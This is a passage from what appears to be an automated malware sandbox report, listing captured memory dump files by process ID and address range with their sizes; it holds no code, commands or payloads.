                      • memory/4488-247-0x0000000000417A8B-mapping.dmp

                      • memory/4504-231-0x0000000000000000-mapping.dmp

                      • memory/4516-175-0x0000000000400000-0x0000000000498000-memory.dmp

                        Filesize

                        608KB

                      • memory/4516-167-0x000000000043FCC3-mapping.dmp

                      • memory/4524-176-0x0000000000400000-0x0000000000439000-memory.dmp

                        Filesize

                        228KB

                      • memory/4524-159-0x0000000000400000-0x0000000000439000-memory.dmp

                        Filesize

                        228KB

                      • memory/4524-164-0x0000000000417A8B-mapping.dmp

                      • memory/4528-165-0x0000000000417A8B-mapping.dmp

                      • memory/4528-177-0x0000000000400000-0x0000000000439000-memory.dmp

                        Filesize

                        228KB

                      • memory/4592-313-0x0000000001190000-0x0000000001191000-memory.dmp

                        Filesize

                        4KB

                      • memory/4592-311-0x0000000000C90000-0x0000000000C91000-memory.dmp

                        Filesize

                        4KB

                      • memory/4592-323-0x0000000005640000-0x0000000005645000-memory.dmp

                        Filesize

                        20KB

                      • memory/4592-321-0x00000000012E0000-0x00000000012F2000-memory.dmp

                        Filesize

                        72KB

                      • memory/4592-303-0x0000000072130000-0x000000007281E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4592-300-0x0000000000000000-mapping.dmp

                      • memory/4736-273-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/4736-274-0x000000000041A684-mapping.dmp

                      • memory/4736-276-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/4856-179-0x000000000041A684-mapping.dmp

                      • memory/4860-267-0x0000000000000000-mapping.dmp

                      • memory/4916-316-0x00000000008B0000-0x00000000008B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4916-333-0x0000000000CD0000-0x0000000000CD3000-memory.dmp

                        Filesize

                        12KB

                      • memory/4916-306-0x0000000000000000-mapping.dmp

                      • memory/4916-310-0x0000000072130000-0x000000007281E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4916-314-0x00000000002B0000-0x00000000002B1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4916-325-0x0000000000BF0000-0x0000000000C01000-memory.dmp

                        Filesize

                        68KB

                      • memory/4920-352-0x0000000000000000-mapping.dmp

                      • memory/4920-360-0x0000000072130000-0x000000007281E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4956-120-0x0000000000000000-mapping.dmp

                      • memory/4964-351-0x0000000005810000-0x0000000005834000-memory.dmp

                        Filesize

                        144KB

                      • memory/4964-389-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4964-293-0x00000000051D0000-0x00000000051D1000-memory.dmp

                        Filesize

                        4KB

                      • memory/4964-291-0x0000000000A20000-0x0000000000A21000-memory.dmp

                        Filesize

                        4KB

                      • memory/4964-290-0x0000000072130000-0x000000007281E000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/4964-287-0x0000000000000000-mapping.dmp

                      • memory/4964-353-0x0000000005AB0000-0x0000000005AD5000-memory.dmp

                        Filesize

                        148KB

                      • memory/4964-319-0x0000000005530000-0x0000000005531000-memory.dmp

                        Filesize

                        4KB

                      • memory/4972-121-0x0000000000000000-mapping.dmp

                      • memory/4984-216-0x0000000005B20000-0x0000000005B21000-memory.dmp

                        Filesize

                        4KB

                      • memory/4984-135-0x0000000000700000-0x0000000000701000-memory.dmp

                        Filesize

                        4KB

                      • memory/4984-218-0x0000000006310000-0x000000000631D000-memory.dmp

                        Filesize

                        52KB

                      • memory/4984-215-0x0000000005460000-0x0000000005510000-memory.dmp

                        Filesize

                        704KB

                      • memory/4984-122-0x0000000000000000-mapping.dmp

                      • memory/4984-128-0x00000000709D0000-0x00000000710BE000-memory.dmp

                        Filesize

                        6.9MB

                      • memory/5016-295-0x0000000000000000-mapping.dmp

                      • memory/5016-400-0x0000000004CE0000-0x0000000004D2C000-memory.dmp

                        Filesize

                        304KB

                      • memory/5056-237-0x0000000000000000-mapping.dmp

                      • memory/5092-236-0x0000000000000000-mapping.dmp

                      • memory/5096-331-0x0000000004420000-0x0000000004421000-memory.dmp

                        Filesize

                        4KB

                      • memory/5096-329-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

                        Filesize

                        4KB

                      • memory/5096-327-0x0000000000000000-mapping.dmp